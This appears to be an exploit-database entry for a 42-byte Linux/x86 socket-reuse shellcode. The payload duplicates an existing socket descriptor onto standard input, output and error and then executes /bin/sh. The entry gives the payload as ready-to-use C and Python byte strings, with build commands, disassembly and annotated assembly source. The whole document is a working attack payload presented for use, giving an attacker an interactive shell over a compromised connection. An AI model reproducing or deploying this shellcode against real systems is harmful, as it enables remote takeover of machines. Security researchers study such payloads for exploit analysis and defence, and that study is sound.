# Exploit Name: Linux/x86 - execve(/bin/sh) socket reuse Shellcode (42 bytes)
# Author : WangYihang
# Date: 2019-10-22
# Tested on: Linux_x86
# Shellcode Length: 42
# CVE: N/A
;================================================================================
# Shellcode :
char shellcode[] = "\x31\xdb\xb3\x03\x31\xc9\xb1\x03\xfe\xc9\x31\xc0\xb0\x3f\xcd\x80\x80\xf9\xff\x75\xf3\x31\xc9\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
;================================================================================
# Python :
shellcode = "\x31\xdb\xb3\x03\x31\xc9\xb1\x03\xfe\xc9\x31\xc0\xb0\x3f\xcd\x80\x80\xf9\xff\x75\xf3\x31\xc9\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
;================================================================================
; Build :
; $ nasm -f elf32 shellcode.asm -o shellcode
; $ objdump -d shellcode
; shellcode: file format elf32-i386
; Disassembly of section .text:
; 00000000 <_start>:
; 0: 31 db xor %ebx,%ebx
; 2: b3 03 mov $0x3,%bl
; 4: 31 c9 xor %ecx,%ecx
; 6: b1 03 mov $0x3,%cl
; 00000008 <dup2>:
; 8: fe c9 dec %cl
; a: 31 c0 xor %eax,%eax
; c: b0 3f mov $0x3f,%al
; e: cd 80 int $0x80
; 10: 80 f9 ff cmp $0xff,%cl
; 13: 75 f3 jne 8 <dup2>
; 00000015 <execve>:
; 15: 31 c9 xor %ecx,%ecx
; 17: 6a 0b push $0xb
; 19: 58 pop %eax
; 1a: 99 cltd
; 1b: 52 push %edx
; 1c: 68 2f 2f 73 68 push $0x68732f2f
; 21: 68 2f 62 69 6e push $0x6e69622f
; 26: 89 e3 mov %esp,%ebx
; 28: cd 80 int $0x80
;================================================================================
; Assembly language source code :
; shellcode.asm
;global _start
; _start:
; set ebx to the old socket fd = 3
; xor ebx, ebx
; mov bl, 03H
;
; init new socket fd
; xor ecx, ecx
; mov cl, 3
;
; dup2(socket, stdin)
; dup2(socket, stdout)
; dup2(socket, stderr)
; dup2:
; dec cl
; xor eax, eax
; mov al, 3FH
; int 80H
; cmp cl, 0FFH
; jne dup2
;
; execve:
; execve("/bin/sh", "/bin/sh", 0)
; xor ecx, ecx
; push 0bH
; pop eax
; cdq
; push edx
; push "//sh"
; push "/bin"
; mov ebx, esp
; int 80H